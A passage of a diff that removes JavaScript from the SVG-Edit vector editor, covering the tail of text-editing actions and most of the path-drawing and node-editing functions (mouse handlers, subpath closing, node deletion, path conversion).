-			if(!arguments.length) {
-				setCursor();
-			} else {
-				var pt = screenToPt(x, y);
-				setCursorFromPoint(pt.x, pt.y);
-			}
-			
-			setTimeout(function() {
-				allow_dbl = true;
-			}, 300);
-		},
-		toSelectMode: function(selectElem) {
-			current_mode = "select";
-			clearInterval(blinker);
-			blinker = null;
-			if(selblock) $(selblock).attr('display','none');
-			if(cursor) $(cursor).attr('visibility','hidden');
-			$(curtext).css('cursor', 'move');
-			
-			if(selectElem) {
-				clearSelection();
-				$(curtext).css('cursor', 'move');
-				
-				call("selected", [curtext]);
-				addToSelection([curtext], true);
-			}
-			if(curtext && !curtext.textContent.length) {
-				// No content, so delete
-				canvas.deleteSelectedElements();
-			}
-			
-			$(textinput).blur();
-			
-			curtext = false;
-			
-// 				if(svgedit.browser.supportsEditableText()) {
-// 					curtext.removeAttribute('editable');
-// 				}
-		},
-		setInputElem: function(elem) {
-			textinput = elem;
-// 			$(textinput).blur(hideCursor);
-		},
-		clear: function() {
-			if(current_mode == "textedit") {
-				textActions.toSelectMode();
-			}
-		},
-		init: function(inputElem) {
-			if(!curtext) return;
-
-// 				if(svgedit.browser.supportsEditableText()) {
-// 					curtext.select();
-// 					return;
-// 				}
-		
-			if(!curtext.parentNode) {
-				// Result of the ffClone, need to get correct element
-				curtext = selectedElements[0];
-				selectorManager.requestSelector(curtext).showGrips(false);
-			}
-			
-			var str = curtext.textContent;
-			var len = str.length;
-			
-			var xform = curtext.getAttribute('transform');
-
-			textbb = svgedit.utilities.getBBox(curtext);
-			
-			matrix = xform?getMatrix(curtext):null;
-
-			chardata = Array(len);
-			textinput.focus();
-			
-			$(curtext).unbind('dblclick', selectWord).dblclick(selectWord);
-			
-			if(!len) {
-				var end = {x: textbb.x + (textbb.width/2), width: 0};
-			}
-			
-			for(var i=0; i<len; i++) {
-				var start = curtext.getStartPositionOfChar(i);
-				var end = curtext.getEndPositionOfChar(i);
-				
-				if(!svgedit.browser.supportsGoodTextCharPos()) {
-					var offset = canvas.contentW * current_zoom;
-					start.x -= offset;
-					end.x -= offset;
-					
-					start.x /= current_zoom;
-					end.x /= current_zoom;
-				}
-				
-				// Get a "bbox" equivalent for each character. Uses the
-				// bbox data of the actual text for y, height purposes
-				
-				// TODO: Decide if y, width and height are actually necessary
-				chardata[i] = {
-					x: start.x,
-					y: textbb.y, // start.y?
-					width: end.x - start.x,
-					height: textbb.height
-				};
-			}
-			
-			// Add a last bbox for cursor at end of text
-			chardata.push({
-				x: end.x,
-				width: 0
-			});
-			setSelection(textinput.selectionStart, textinput.selectionEnd, true);
-		}
-	}
-}();
-
-// TODO: Migrate all of this code into path.js
-// Group: Path edit functions
-// Functions relating to editing path elements
-var pathActions = canvas.pathActions = function() {
-	
-	var subpath = false;
-	var current_path;
-	var newPoint, firstCtrl;
-	
-	function resetD(p) {
-		p.setAttribute("d", pathActions.convertPath(p));
-	}
-
-	// TODO: Move into path.js
-		svgedit.path.Path.prototype.endChanges = function(text) {
-			if(svgedit.browser.isWebkit()) resetD(this.elem);
-			var cmd = new ChangeElementCommand(this.elem, {d: this.last_d}, text);
-			addCommandToHistory(cmd);
-			call("changed", [this.elem]);
-		}
-
-		svgedit.path.Path.prototype.addPtsToSelection = function(indexes) {
-			if(!$.isArray(indexes)) indexes = [indexes];
-			for(var i=0; i< indexes.length; i++) {
-				var index = indexes[i];
-				var seg = this.segs[index];
-				if(seg.ptgrip) {
-					if(this.selected_pts.indexOf(index) == -1 && index >= 0) {
-						this.selected_pts.push(index);
-					}
-				}
-			};
-			this.selected_pts.sort();
-			var i = this.selected_pts.length,
-				grips = new Array(i);
-			// Loop through points to be selected and highlight each
-			while(i--) {
-				var pt = this.selected_pts[i];
-				var seg = this.segs[pt];
-				seg.select(true);
-				grips[i] = seg.ptgrip;
-			}
-			// TODO: Correct this:
-			pathActions.canDeleteNodes = true;
-			
-			pathActions.closed_subpath = this.subpathIsClosed(this.selected_pts[0]);
-			
-			call("selected", grips);
-		}
-
-	var current_path = null,
-		drawn_path = null,
-		hasMoved = false;
-	
-	// This function converts a polyline (created by the fh_path tool) into
-	// a path element and coverts every three line segments into a single bezier
-	// curve in an attempt to smooth out the free-hand
-	var smoothPolylineIntoPath = function(element) {
-		var points = element.points;
-		var N = points.numberOfItems;
-		if (N >= 4) {
-			// loop through every 3 points and convert to a cubic bezier curve segment
-			// 
-			// NOTE: this is cheating, it means that every 3 points has the potential to 
-			// be a corner instead of treating each point in an equal manner.  In general,
-			// this technique does not look that good.
-			// 
-			// I am open to better ideas!
-			// 
-			// Reading:
-			// - http://www.efg2.com/Lab/Graphics/Jean-YvesQueinecBezierCurves.htm
-			// - http://www.codeproject.com/KB/graphics/BezierSpline.aspx?msg=2956963
-			// - http://www.ian-ko.com/ET_GeoWizards/UserGuide/smooth.htm
-			// - http://www.cs.mtu.edu/~shene/COURSES/cs3621/NOTES/spline/Bezier/bezier-der.html
-			var curpos = points.getItem(0), prevCtlPt = null;
-			var d = [];
-			d.push(["M",curpos.x,",",curpos.y," C"].join(""));
-			for (var i = 1; i <= (N-4); i += 3) {
-				var ct1 = points.getItem(i);
-				var ct2 = points.getItem(i+1);
-				var end = points.getItem(i+2);
-				
-				// if the previous segment had a control point, we want to smooth out
-				// the control points on both sides
-				if (prevCtlPt) {
-					var newpts = svgedit.path.smoothControlPoints( prevCtlPt, ct1, curpos );
-					if (newpts && newpts.length == 2) {
-						var prevArr = d[d.length-1].split(',');
-						prevArr[2] = newpts[0].x;
-						prevArr[3] = newpts[0].y;
-						d[d.length-1] = prevArr.join(',');
-						ct1 = newpts[1];
-					}
-				}
-				
-				d.push([ct1.x,ct1.y,ct2.x,ct2.y,end.x,end.y].join(','));
-				
-				curpos = end;
-				prevCtlPt = ct2;
-			}
-			// handle remaining line segments
-			d.push("L");
-			for(;i < N;++i) {
-				var pt = points.getItem(i);
-				d.push([pt.x,pt.y].join(","));
-			}
-			d = d.join(" ");
-
-			// create new path element
-			element = addSvgElementFromJson({
-				"element": "path",
-				"curStyles": true,
-				"attr": {
-					"id": getId(),
-					"d": d,
-					"fill": "none"
-				}
-			});
-			// No need to call "changed", as this is already done under mouseUp
-		}
-		return element;
-	};
-
-	return {
-		mouseDown: function(evt, mouse_target, start_x, start_y) {
-			if(current_mode === "path") {
-				mouse_x = start_x;
-				mouse_y = start_y;
-				
-				var x = mouse_x/current_zoom,
-					y = mouse_y/current_zoom,
-					stretchy = getElem("path_stretch_line");
-				newPoint = [x, y];	
-				
-				if(curConfig.gridSnapping){
-					x = snapToGrid(x);
-					y = snapToGrid(y);
-					mouse_x = snapToGrid(mouse_x);
-					mouse_y = snapToGrid(mouse_y);
-				}
-
-				if (!stretchy) {
-					stretchy = document.createElementNS(svgns, "path");
-					assignAttributes(stretchy, {
-						'id': "path_stretch_line",
-						'stroke': "#22C",
-						'stroke-width': "0.5",
-						'fill': 'none'
-					});
-					stretchy = getElem("selectorParentGroup").appendChild(stretchy);
-				}
-				stretchy.setAttribute("display", "inline");
-				
-				var keep = null;
-				
-				// if pts array is empty, create path element with M at current point
-				if (!drawn_path) {
-					d_attr = "M" + x + "," + y + " ";
-					drawn_path = addSvgElementFromJson({
-						"element": "path",
-						"curStyles": true,
-						"attr": {
-							"d": d_attr,
-							"id": getNextId(),
-							"opacity": cur_shape.opacity / 2
-						}
-					});
-					// set stretchy line to first point
-					stretchy.setAttribute('d', ['M', mouse_x, mouse_y, mouse_x, mouse_y].join(' '));
-					var index = subpath ? svgedit.path.path.segs.length : 0;
-					svgedit.path.addPointGrip(index, mouse_x, mouse_y);
-				}
-				else {
-					// determine if we clicked on an existing point
-					var seglist = drawn_path.pathSegList;
-					var i = seglist.numberOfItems;
-					var FUZZ = 6/current_zoom;
-					var clickOnPoint = false;
-					while(i) {
-						i --;
-						var item = seglist.getItem(i);
-						var px = item.x, py = item.y;
-						// found a matching point
-						if ( x >= (px-FUZZ) && x <= (px+FUZZ) && y >= (py-FUZZ) && y <= (py+FUZZ) ) {
-							clickOnPoint = true;
-							break;
-						}
-					}
-					
-					// get path element that we are in the process of creating
-					var id = getId();
-				
-					// Remove previous path object if previously created
-					svgedit.path.removePath_(id);
-					
-					var newpath = getElem(id);
-					
-					var len = seglist.numberOfItems;
-					// if we clicked on an existing point, then we are done this path, commit it
-					// (i,i+1) are the x,y that were clicked on
-					if (clickOnPoint) {
-						// if clicked on any other point but the first OR
-						// the first point was clicked on and there are less than 3 points
-						// then leave the path open
-						// otherwise, close the path
-						if (i <= 1 && len >= 2) {
-							// Create end segment
-							var abs_x = seglist.getItem(0).x;
-							var abs_y = seglist.getItem(0).y;
-							
-
-							var s_seg = stretchy.pathSegList.getItem(1);
-							if(s_seg.pathSegType === 4) {
-								var newseg = drawn_path.createSVGPathSegLinetoAbs(abs_x, abs_y);
-							} else {
-								var newseg = drawn_path.createSVGPathSegCurvetoCubicAbs(
-									abs_x,
-									abs_y,
-									s_seg.x1 / current_zoom,
-									s_seg.y1 / current_zoom,
-									abs_x,
-									abs_y
-								);
-							}
-							
-							var endseg = drawn_path.createSVGPathSegClosePath();
-							seglist.appendItem(newseg);
-							seglist.appendItem(endseg);
-						} else if(len < 3) {
-							keep = false;
-							return keep;
-						}
-						$(stretchy).remove();
-						
-						// this will signal to commit the path
-						element = newpath;
-						drawn_path = null;
-						started = false;
-						
-						if(subpath) {
-							if(svgedit.path.path.matrix) {
-								remapElement(newpath, {}, svgedit.path.path.matrix.inverse());
-							}
-						
-							var new_d = newpath.getAttribute("d");
-							var orig_d = $(svgedit.path.path.elem).attr("d");
-							$(svgedit.path.path.elem).attr("d", orig_d + new_d);
-							$(newpath).remove();
-							if(svgedit.path.path.matrix) {
-								svgedit.path.recalcRotatedPath();
-							}
-							svgedit.path.path.init();
-							pathActions.toEditMode(svgedit.path.path.elem);
-							svgedit.path.path.selectPt();
-							return false;
-						}
-					}
-					// else, create a new point, update path element
-					else {
-						// Checks if current target or parents are #svgcontent
-						if(!$.contains(container, getMouseTarget(evt))) {
-							// Clicked outside canvas, so don't make point
-							console.log("Clicked outside canvas");
-							return false;
-						}
-
-						var num = drawn_path.pathSegList.numberOfItems;
-						var last = drawn_path.pathSegList.getItem(num -1);
-						var lastx = last.x, lasty = last.y;
-
-						if(evt.shiftKey) { var xya = snapToAngle(lastx,lasty,x,y); x=xya.x; y=xya.y; }
-						
-						// Use the segment defined by stretchy
-						var s_seg = stretchy.pathSegList.getItem(1);
-						if(s_seg.pathSegType === 4) {
-							var newseg = drawn_path.createSVGPathSegLinetoAbs(round(x), round(y));
-						} else {
-							var newseg = drawn_path.createSVGPathSegCurvetoCubicAbs(
-								round(x),
-								round(y),
-								s_seg.x1 / current_zoom,
-								s_seg.y1 / current_zoom,
-								s_seg.x2 / current_zoom,
-								s_seg.y2 / current_zoom
-							);
-						}
-						
-						drawn_path.pathSegList.appendItem(newseg);
-						
-						x *= current_zoom;
-						y *= current_zoom;
-						
-						// set stretchy line to latest point
-						stretchy.setAttribute('d', ['M', x, y, x, y].join(' '));
-						var index = num;
-						if(subpath) index += svgedit.path.path.segs.length;
-						svgedit.path.addPointGrip(index, x, y);
-					}
-// 					keep = true;
-				}
-				
-				return;
-			}
-			
-			// TODO: Make sure current_path isn't null at this point
-			if(!svgedit.path.path) return;
-			
-			svgedit.path.path.storeD();
-			
-			var id = evt.target.id;
-			if (id.substr(0,14) == "pathpointgrip_") {
-				// Select this point
-				var cur_pt = svgedit.path.path.cur_pt = parseInt(id.substr(14));
-				svgedit.path.path.dragging = [start_x, start_y];
-				var seg = svgedit.path.path.segs[cur_pt];
-				
-				// only clear selection if shift is not pressed (otherwise, add 
-				// node to selection)
-				if (!evt.shiftKey) {
-					if(svgedit.path.path.selected_pts.length <= 1 || !seg.selected) {
-						svgedit.path.path.clearSelection();
-					}
-					svgedit.path.path.addPtsToSelection(cur_pt);
-				} else if(seg.selected) {
-					svgedit.path.path.removePtFromSelection(cur_pt);
-				} else {
-					svgedit.path.path.addPtsToSelection(cur_pt);
-				}
-			} else if(id.indexOf("ctrlpointgrip_") == 0) {
-				svgedit.path.path.dragging = [start_x, start_y];
-				
-				var parts = id.split('_')[1].split('c');
-				var cur_pt = parts[0]-0;
-				var ctrl_num = parts[1]-0;
-				svgedit.path.path.selectPt(cur_pt, ctrl_num);
-			}
-
-			// Start selection box
-			if(!svgedit.path.path.dragging) {
-				if (rubberBox == null) {
-					rubberBox = selectorManager.getRubberBandBox();
-				}
-				assignAttributes(rubberBox, {
-						'x': start_x * current_zoom,
-						'y': start_y * current_zoom,
-						'width': 0,
-						'height': 0,
-						'display': 'inline'
-				}, 100);
-			}
-		},
-		mouseMove: function(mouse_x, mouse_y) {
-			hasMoved = true;
-			if(current_mode === "path") {
-				if(!drawn_path) return;
-				var seglist = drawn_path.pathSegList;
-				var index = seglist.numberOfItems - 1;
-
-				if(newPoint) {
-					// First point
-// 					if(!index) return;
-
-					// Set control points
-					var pointGrip1 = svgedit.path.addCtrlGrip('1c1');
-					var pointGrip2 = svgedit.path.addCtrlGrip('0c2');
-					
-					// dragging pointGrip1
-					pointGrip1.setAttribute('cx', mouse_x);
-					pointGrip1.setAttribute('cy', mouse_y);
-					pointGrip1.setAttribute('display', 'inline');
-
-					var pt_x = newPoint[0];
-					var pt_y = newPoint[1];
-					
-					// set curve
-					var seg = seglist.getItem(index);
-					var cur_x = mouse_x / current_zoom;
-					var cur_y = mouse_y / current_zoom;
-					var alt_x = (pt_x + (pt_x - cur_x));
-					var alt_y = (pt_y + (pt_y - cur_y));
-					
-					pointGrip2.setAttribute('cx', alt_x * current_zoom);
-					pointGrip2.setAttribute('cy', alt_y * current_zoom);
-					pointGrip2.setAttribute('display', 'inline');
-					
-					var ctrlLine = svgedit.path.getCtrlLine(1);
-					assignAttributes(ctrlLine, {
-						x1: mouse_x,
-						y1: mouse_y,
-						x2: alt_x * current_zoom,
-						y2: alt_y * current_zoom,
-						display: 'inline'
-					});
-
-					if(index === 0) {
-						firstCtrl = [mouse_x, mouse_y];
-					} else {
-						var last_x, last_y;
-						
-						var last = seglist.getItem(index - 1);
-						var last_x = last.x;
-						var last_y = last.y
-	
-						if(last.pathSegType === 6) {
-							last_x += (last_x - last.x2);
-							last_y += (last_y - last.y2);
-						} else if(firstCtrl) {
-							last_x = firstCtrl[0]/current_zoom;
-							last_y = firstCtrl[1]/current_zoom;
-						}
-						svgedit.path.replacePathSeg(6, index, [pt_x, pt_y, last_x, last_y, alt_x, alt_y], drawn_path);
-					}
-				} else {
-					var stretchy = getElem("path_stretch_line");
-					if (stretchy) {
-						var prev = seglist.getItem(index);
-						if(prev.pathSegType === 6) {
-							var prev_x = prev.x + (prev.x - prev.x2);
-							var prev_y = prev.y + (prev.y - prev.y2);
-							svgedit.path.replacePathSeg(6, 1, [mouse_x, mouse_y, prev_x * current_zoom, prev_y * current_zoom, mouse_x, mouse_y], stretchy);							
-						} else if(firstCtrl) {
-							svgedit.path.replacePathSeg(6, 1, [mouse_x, mouse_y, firstCtrl[0], firstCtrl[1], mouse_x, mouse_y], stretchy);
-						} else {
-							svgedit.path.replacePathSeg(4, 1, [mouse_x, mouse_y], stretchy);
-						}
-					}
-				}
-				return;
-			}
-			// if we are dragging a point, let's move it
-			if (svgedit.path.path.dragging) {
-				var pt = svgedit.path.getPointFromGrip({
-					x: svgedit.path.path.dragging[0],
-					y: svgedit.path.path.dragging[1]
-				}, svgedit.path.path);
-				var mpt = svgedit.path.getPointFromGrip({
-					x: mouse_x,
-					y: mouse_y
-				}, svgedit.path.path);
-				var diff_x = mpt.x - pt.x;
-				var diff_y = mpt.y - pt.y;
-				svgedit.path.path.dragging = [mouse_x, mouse_y];
-				
-				if(svgedit.path.path.dragctrl) {
-					svgedit.path.path.moveCtrl(diff_x, diff_y);
-				} else {
-					svgedit.path.path.movePts(diff_x, diff_y);
-				}
-			} else {
-				svgedit.path.path.selected_pts = [];
-				svgedit.path.path.eachSeg(function(i) {
-					var seg = this;
-					if(!seg.next && !seg.prev) return;
-						
-					var item = seg.item;
-					var rbb = rubberBox.getBBox();
-					
-					var pt = svgedit.path.getGripPt(seg);
-					var pt_bb = {
-						x: pt.x,
-						y: pt.y,
-						width: 0,
-						height: 0
-					};
-				
-					var sel = svgedit.math.rectsIntersect(rbb, pt_bb);
-
-					this.select(sel);
-					//Note that addPtsToSelection is not being run
-					if(sel) svgedit.path.path.selected_pts.push(seg.index);
-				});
-
-			}
-		}, 
-		mouseUp: function(evt, element, mouse_x, mouse_y) {
-			
-			// Create mode
-			if(current_mode === "path") {
-				newPoint = null;
-				if(!drawn_path) {
-					element = getElem(getId());
-					started = false;
-					firstCtrl = null;
-				}
-
-				return {
-					keep: true,
-					element: element
-				}
-			}
-			
-			// Edit mode
-			
-			if (svgedit.path.path.dragging) {
-				var last_pt = svgedit.path.path.cur_pt;
-
-				svgedit.path.path.dragging = false;
-				svgedit.path.path.dragctrl = false;
-				svgedit.path.path.update();
-				
-			
-				if(hasMoved) {
-					svgedit.path.path.endChanges("Move path point(s)");
-				} 
-				
-				if(!evt.shiftKey && !hasMoved) {
-					svgedit.path.path.selectPt(last_pt);
-				} 
-			}
-			else if(rubberBox && rubberBox.getAttribute('display') != 'none') {
-				// Done with multi-node-select
-				rubberBox.setAttribute("display", "none");
-				
-				if(rubberBox.getAttribute('width') <= 2 && rubberBox.getAttribute('height') <= 2) {
-					pathActions.toSelectMode(evt.target);
-				}
-				
-			// else, move back to select mode	
-			} else {
-				pathActions.toSelectMode(evt.target);
-			}
-			hasMoved = false;
-		},
-		toEditMode: function(element) {
-			svgedit.path.path = svgedit.path.getPath_(element);
-			current_mode = "pathedit";
-			clearSelection();
-			svgedit.path.path.show(true).update();
-			svgedit.path.path.oldbbox = svgedit.utilities.getBBox(svgedit.path.path.elem);
-			subpath = false;
-		},
-		toSelectMode: function(elem) {
-			var selPath = (elem == svgedit.path.path.elem);
-			current_mode = "select";
-			svgedit.path.path.show(false);
-			current_path = false;
-			clearSelection();
-			
-			if(svgedit.path.path.matrix) {
-				// Rotated, so may need to re-calculate the center
-				svgedit.path.recalcRotatedPath();
-			}
-			
-			if(selPath) {
-				call("selected", [elem]);
-				addToSelection([elem], true);
-			}
-		},
-		addSubPath: function(on) {
-			if(on) {
-				// Internally we go into "path" mode, but in the UI it will
-				// still appear as if in "pathedit" mode.
-				current_mode = "path";
-				subpath = true;
-			} else {
-				pathActions.clear(true);
-				pathActions.toEditMode(svgedit.path.path.elem);
-			}
-		},
-		select: function(target) {
-			if (current_path === target) {
-				pathActions.toEditMode(target);
-				current_mode = "pathedit";
-			} // going into pathedit mode
-			else {
-				current_path = target;
-			}	
-		},
-		reorient: function() {
-			var elem = selectedElements[0];
-			if(!elem) return;
-			var angle = getRotationAngle(elem);
-			if(angle == 0) return;
-			
-			var batchCmd = new BatchCommand("Reorient path");
-			var changes = {
-				d: elem.getAttribute('d'),
-				transform: elem.getAttribute('transform')
-			};
-			batchCmd.addSubCommand(new ChangeElementCommand(elem, changes));
-			clearSelection();
-			this.resetOrientation(elem);
-			
-			addCommandToHistory(batchCmd);
-
-			// Set matrix to null
-			svgedit.path.getPath_(elem).show(false).matrix = null; 
-
-			this.clear();
-	
-			addToSelection([elem], true);
-			call("changed", selectedElements);
-		},
-		
-		clear: function(remove) {
-			current_path = null;
-			if (drawn_path) {
-				var elem = getElem(getId());
-				$(getElem("path_stretch_line")).remove();
-				$(elem).remove();
-				$(getElem("pathpointgrip_container")).find('*').attr('display', 'none');
-				drawn_path = firstCtrl = null;
-				started = false;
-			} else if (current_mode == "pathedit") {
-				this.toSelectMode();
-			}
-			if(svgedit.path.path) svgedit.path.path.init().show(false);
-		},
-		resetOrientation: function(path) {
-			if(path == null || path.nodeName != 'path') return false;
-			var tlist = getTransformList(path);
-			var m = transformListToTransform(tlist).matrix;
-			tlist.clear();
-			path.removeAttribute("transform");
-			var segList = path.pathSegList;
-			
-			// Opera/win/non-EN throws an error here.
-			// TODO: Find out why!
-			// Presumed fixed in Opera 10.5, so commented out for now
-			
-// 			try {
-				var len = segList.numberOfItems;
-// 			} catch(err) {
-// 				var fixed_d = pathActions.convertPath(path);
-// 				path.setAttribute('d', fixed_d);
-// 				segList = path.pathSegList;
-// 				var len = segList.numberOfItems;
-// 			}
-			var last_x, last_y;
-
-
-			for (var i = 0; i < len; ++i) {
-				var seg = segList.getItem(i);
-				var type = seg.pathSegType;
-				if(type == 1) continue;
-				var pts = [];
-				$.each(['',1,2], function(j, n) {
-					var x = seg['x'+n], y = seg['y'+n];
-					if(x !== undefined && y !== undefined) {
-						var pt = transformPoint(x, y, m);
-						pts.splice(pts.length, 0, pt.x, pt.y);
-					}
-				});
-				svgedit.path.replacePathSeg(type, i, pts, path);
-			}
-			
-			reorientGrads(path, m);
-
-
-		},
-		zoomChange: function() {
-			if(current_mode == "pathedit") {
-				svgedit.path.path.update();
-			}
-		},
-		getNodePoint: function() {
-			var sel_pt = svgedit.path.path.selected_pts.length ? svgedit.path.path.selected_pts[0] : 1;
-
-			var seg = svgedit.path.path.segs[sel_pt];
-			return {
-				x: seg.item.x,
-				y: seg.item.y,
-				type: seg.type
-			};
-		}, 
-		linkControlPoints: function(linkPoints) {
-			svgedit.path.setLinkControlPoints(linkPoints);
-		},
-		clonePathNode: function() {
-			svgedit.path.path.storeD();
-			
-			var sel_pts = svgedit.path.path.selected_pts;
-			var segs = svgedit.path.path.segs;
-			
-			var i = sel_pts.length;
-			var nums = [];
-
-			while(i--) {
-				var pt = sel_pts[i];
-				svgedit.path.path.addSeg(pt);
-				
-				nums.push(pt + i);
-				nums.push(pt + i + 1);
-			}
-			svgedit.path.path.init().addPtsToSelection(nums);
-
-			svgedit.path.path.endChanges("Clone path node(s)");
-		},
-		opencloseSubPath: function() {
-			var sel_pts = svgedit.path.path.selected_pts;
-			// Only allow one selected node for now
-			if(sel_pts.length !== 1) return;
-			
-			var elem = svgedit.path.path.elem;
-			var list = elem.pathSegList;
-
-			var len = list.numberOfItems;
-
-			var index = sel_pts[0];
-			
-			var open_pt = null;
-			var start_item = null;
-
-			// Check if subpath is already open
-			svgedit.path.path.eachSeg(function(i) {
-				if(this.type === 2 && i <= index) {
-					start_item = this.item;
-				}
-				if(i <= index) return true;
-				if(this.type === 2) {
-					// Found M first, so open
-					open_pt = i;
-					return false;
-				} else if(this.type === 1) {
-					// Found Z first, so closed
-					open_pt = false;
-					return false;
-				}
-			});
-			
-			if(open_pt == null) {
-				// Single path, so close last seg
-				open_pt = svgedit.path.path.segs.length - 1;
-			}
-
-			if(open_pt !== false) {
-				// Close this path
-				
-				// Create a line going to the previous "M"
-				var newseg = elem.createSVGPathSegLinetoAbs(start_item.x, start_item.y);
-			
-				var closer = elem.createSVGPathSegClosePath();
-				if(open_pt == svgedit.path.path.segs.length - 1) {
-					list.appendItem(newseg);
-					list.appendItem(closer);
-				} else {
-					svgedit.path.insertItemBefore(elem, closer, open_pt);
-					svgedit.path.insertItemBefore(elem, newseg, open_pt);
-				}
-				
-				svgedit.path.path.init().selectPt(open_pt+1);
-				return;
-			}
-			
-			
-
-			// M 1,1 L 2,2 L 3,3 L 1,1 z // open at 2,2
-			// M 2,2 L 3,3 L 1,1
-			
-			// M 1,1 L 2,2 L 1,1 z M 4,4 L 5,5 L6,6 L 5,5 z 
-			// M 1,1 L 2,2 L 1,1 z [M 4,4] L 5,5 L(M)6,6 L 5,5 z 
-			
-			var seg = svgedit.path.path.segs[index];
-			
-			if(seg.mate) {
-				list.removeItem(index); // Removes last "L"
-				list.removeItem(index); // Removes the "Z"
-				svgedit.path.path.init().selectPt(index - 1);
-				return;
-			}
-			
-			var last_m, z_seg;
-			
-			// Find this sub-path's closing point and remove
-			for(var i=0; i<list.numberOfItems; i++) {
-				var item = list.getItem(i);
-
-				if(item.pathSegType === 2) {
-					// Find the preceding M
-					last_m = i;
-				} else if(i === index) {
-					// Remove it
-					list.removeItem(last_m);
-// 						index--;
-				} else if(item.pathSegType === 1 && index < i) {
-					// Remove the closing seg of this subpath
-					z_seg = i-1;
-					list.removeItem(i);
-					break;
-				}
-			}
-			
-			var num = (index - last_m) - 1;
-			
-			while(num--) {
-				svgedit.path.insertItemBefore(elem, list.getItem(last_m), z_seg);
-			}
-			
-			var pt = list.getItem(last_m);
-			
-			// Make this point the new "M"
-			svgedit.path.replacePathSeg(2, last_m, [pt.x, pt.y]);
-			
-			var i = index
-			
-			svgedit.path.path.init().selectPt(0);
-		},
-		deletePathNode: function() {
-			if(!pathActions.canDeleteNodes) return;
-			svgedit.path.path.storeD();
-			
-			var sel_pts = svgedit.path.path.selected_pts;
-			var i = sel_pts.length;
-
-			while(i--) {
-				var pt = sel_pts[i];
-				svgedit.path.path.deleteSeg(pt);
-			}
-			
-			// Cleanup
-			var cleanup = function() {
-				var segList = svgedit.path.path.elem.pathSegList;
-				var len = segList.numberOfItems;
-				
-				var remItems = function(pos, count) {
-					while(count--) {
-						segList.removeItem(pos);
-					}
-				}
-
-				if(len <= 1) return true;
-				
-				while(len--) {
-					var item = segList.getItem(len);
-					if(item.pathSegType === 1) {
-						var prev = segList.getItem(len-1);
-						var nprev = segList.getItem(len-2);
-						if(prev.pathSegType === 2) {
-							remItems(len-1, 2);
-							cleanup();
-							break;
-						} else if(nprev.pathSegType === 2) {
-							remItems(len-2, 3);
-							cleanup();
-							break;
-						}
-
-					} else if(item.pathSegType === 2) {
-						if(len > 0) {
-							var prev_type = segList.getItem(len-1).pathSegType;
-							// Path has M M  
-							if(prev_type === 2) {
-								remItems(len-1, 1);
-								cleanup();
-								break;
-							// Entire path ends with Z M 
-							} else if(prev_type === 1 && segList.numberOfItems-1 === len) {
-								remItems(len, 1);
-								cleanup();
-								break;
-							}
-						}
-					}
-				}	
-				return false;
-			}
-			
-			cleanup();
-			
-			// Completely delete a path with 1 or 0 segments
-			if(svgedit.path.path.elem.pathSegList.numberOfItems <= 1) {
-				pathActions.toSelectMode(svgedit.path.path.elem);
-				canvas.deleteSelectedElements();
-				return;
-			}
-			
-			svgedit.path.path.init();
-			
-			svgedit.path.path.clearSelection();
-			
-			// TODO: Find right way to select point now
-			// path.selectPt(sel_pt);
-			if(window.opera) { // Opera repaints incorrectly
-				var cp = $(svgedit.path.path.elem); cp.attr('d',cp.attr('d'));
-			}
-			svgedit.path.path.endChanges("Delete path node(s)");
-		},
-		smoothPolylineIntoPath: smoothPolylineIntoPath,
-		setSegType: function(v) {
-			svgedit.path.path.setSegType(v);
-		},
-		moveNode: function(attr, newValue) {
-			var sel_pts = svgedit.path.path.selected_pts;
-			if(!sel_pts.length) return;
-			
-			svgedit.path.path.storeD();
-			
-			// Get first selected point
-			var seg = svgedit.path.path.segs[sel_pts[0]];
-			var diff = {x:0, y:0};
-			diff[attr] = newValue - seg.item[attr];
-			
-			seg.move(diff.x, diff.y);
-			svgedit.path.path.endChanges("Move path point");
-		},
-		fixEnd: function(elem) {
-			// Adds an extra segment if the last seg before a Z doesn't end
-			// at its M point
-			// M0,0 L0,100 L100,100 z
-			var segList = elem.pathSegList;
-			var len = segList.numberOfItems;
-			var last_m;
-			for (var i = 0; i < len; ++i) {
-				var item = segList.getItem(i);
-				if(item.pathSegType === 2) {
-					last_m = item;
-				}
-				
-				if(item.pathSegType === 1) {
-					var prev = segList.getItem(i-1);
-					if(prev.x != last_m.x || prev.y != last_m.y) {
-						// Add an L segment here
-						var newseg = elem.createSVGPathSegLinetoAbs(last_m.x, last_m.y);
-						svgedit.path.insertItemBefore(elem, newseg, i);
-						// Can this be done better?
-						pathActions.fixEnd(elem);
-						break;
-					}
-					
-				}
-			}
-			if(svgedit.browser.isWebkit()) resetD(elem);
-		},
-		// Convert a path to one with only absolute or relative values
-		convertPath: function(path, toRel) {
-			var segList = path.pathSegList;
-			var len = segList.numberOfItems;
-			var curx = 0, cury = 0;
-			var d = "";
-			var last_m = null;
-			
-			for (var i = 0; i < len; ++i) {
-				var seg = segList.getItem(i);
-				// if these properties are not in the segment, set them to zero
-				var x = seg.x || 0,
-					y = seg.y || 0,
-					x1 = seg.x1 || 0,
-					y1 = seg.y1 || 0,
-					x2 = seg.x2 || 0,
-					y2 = seg.y2 || 0;
-	
-				var type = seg.pathSegType;
-				var letter = pathMap[type]['to'+(toRel?'Lower':'Upper')+'Case']();
-				
-				var addToD = function(pnts, more, last) {
-					var str = '';
-					var more = more?' '+more.join(' '):'';
-					var last = last?' '+svgedit.units.shortFloat(last):'';
-					$.each(pnts, function(i, pnt) {
-						pnts[i] = svgedit.units.shortFloat(pnt);
-					});
-					d += letter + pnts.join(' ') + more + last;
-				}
-				
-				switch (type) {
-					case 1: // z,Z closepath (Z/z)
-						d += "z";
-						break;
-					case 12: // absolute horizontal line (H)
-						x -= curx;
-					case 13: // relative horizontal line (h)
-						if(toRel) {
-							curx += x;
-							letter = 'l';
-						} else {
-							x += curx;
-							curx = x;
-							letter = 'L';
-						}
-						// Convert to "line" for easier editing
-						addToD([[x, cury]]);
-						break;
-					case 14: // absolute vertical line (V)
-						y -= cury;
-					case 15: // relative vertical line (v)
-						if(toRel) {
-							cury += y;
-							letter = 'l';
-						} else {
-							y += cury;
-							cury = y;
-							letter = 'L';
-						}
-						// Convert to "line" for easier editing
-						addToD([[curx, y]]);
-						break;
-					case 2: // absolute move (M)
-					case 4: // absolute line (L)
-					case 18: // absolute smooth quad (T)
-						x -= curx;
-						y -= cury;
-					case 5: // relative line (l)
-					case 3: // relative move (m)
-						// If the last segment was a "z", this must be relative to 
-						if(last_m && segList.getItem(i-1).pathSegType === 1 && !toRel) {
-							curx = last_m[0];
-							cury = last_m[1];
-						}
-					
-					case 19: // relative smooth quad (t)
-						if(toRel) {
-							curx += x;
-							cury += y;
